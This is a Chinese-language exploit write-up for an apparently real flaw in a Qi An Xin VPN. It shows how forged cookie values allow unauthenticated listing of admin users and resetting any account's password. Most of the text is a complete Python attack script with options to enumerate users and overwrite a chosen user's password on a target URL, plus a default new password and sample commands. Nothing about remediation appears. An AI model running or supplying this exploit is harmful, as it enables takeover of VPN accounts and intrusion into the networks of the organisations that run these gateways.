奇安信vpn存在未授权管理用户遍历及任意账号密码修改
访问url:
https://x.xxx.xxx.cn/使用hackerbar访问一下url,携带cookie参数
https://x.xxx.xxx.cn/admin/group/x_group.php?id=1https://x.xxx.xxx.cn/admin/group/x_group.php?id=3
cookie:admin_id=1; gw_admin_ticket=1;
其中id=1为系统自带匿名用户,id=2为管理用户
本次修改匿名用户,使用附件脚本
python3 userlist_motifyuserpassword.py -t https://x.xxx.xxx.cn/ -u anonymous -cp其中-u指定前面获取的用户名,可以看到返回包中显示密码修改成功
账号:anonymous 密码:[email protected]#123A。
import clickimport requestsimport reimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)proxy = {}def check_poc1(url, uid=2):header = {"Cookie": "admin_id=1; gw_admin_ticket=1;","User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"}path = "//admin/group/x_group.php?id=%s" % uidr = requests.get(url + path, headers=header, proxies=proxy, verify=False)print(r.text)r.encoding = "utf-8"if r.status_code == 200 and "group_action.php" in r.text:if users := re.findall("本地认证->(.*?)</option>", r.text):return userselse:print("not found any user")return []def check_poc2(url, user, pwd):header = {"Cookie": 'admin_id=1; gw_user_ticket=ffffffffffffffffffffffffffffffff; last_step_param={"this_name":"%s","subAuthId":"1"}' % user,"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36","Origin": url,"Referer": "%s/welcome.php" % url}body = {"old_pass": "","password": pwd,"repassword": pwd}path = "/changepass.php?type=2"r = requests.post(url + path, headers=header, data=body, proxies=proxy, verify=False)print(r.text)r.encoding = "utf-8"if r.status_code == 200 and "修改密码成功" in r.text:return Trueelse:return False@click.command()@click.option("--target", "-t", help="目标", required=True)@click.option("--group", "-g", default=2, help="用户组", type=int)@click.option("--user", "-u", help="用户名")@click.option("--pwd", "-p", default="[email protected]#123A", help="密码")@click.option("--list-user", "-lu", is_flag=True)@click.option("--change-pwd", "-cp", is_flag=True)@click.option("--proxy", "proxies")def main(target, group, user, pwd, list_user, change_pwd, proxies):"""step1 : list users exppocpython exp.py -t https://1.1.1.1 -luuser1user2...step2 : change password orgpython exp.py -t https://1.1.1.1 -u user1 -cp"""global proxyif proxies:proxy = {"http": proxies,"https": proxies}target = target.strip().strip("/")print("target: " + target)if list_user:print("list users~")if users := check_poc1(target, group):print("\n".join(users))else:"no vuln"elif change_pwd:print("change password~")if status := check_poc2(target, user, pwd):print("change %s pwd success, new pwd: %s " % (user, pwd))else:"false"else:print("please input -lu or -cp")if __name__ == '__main__':main()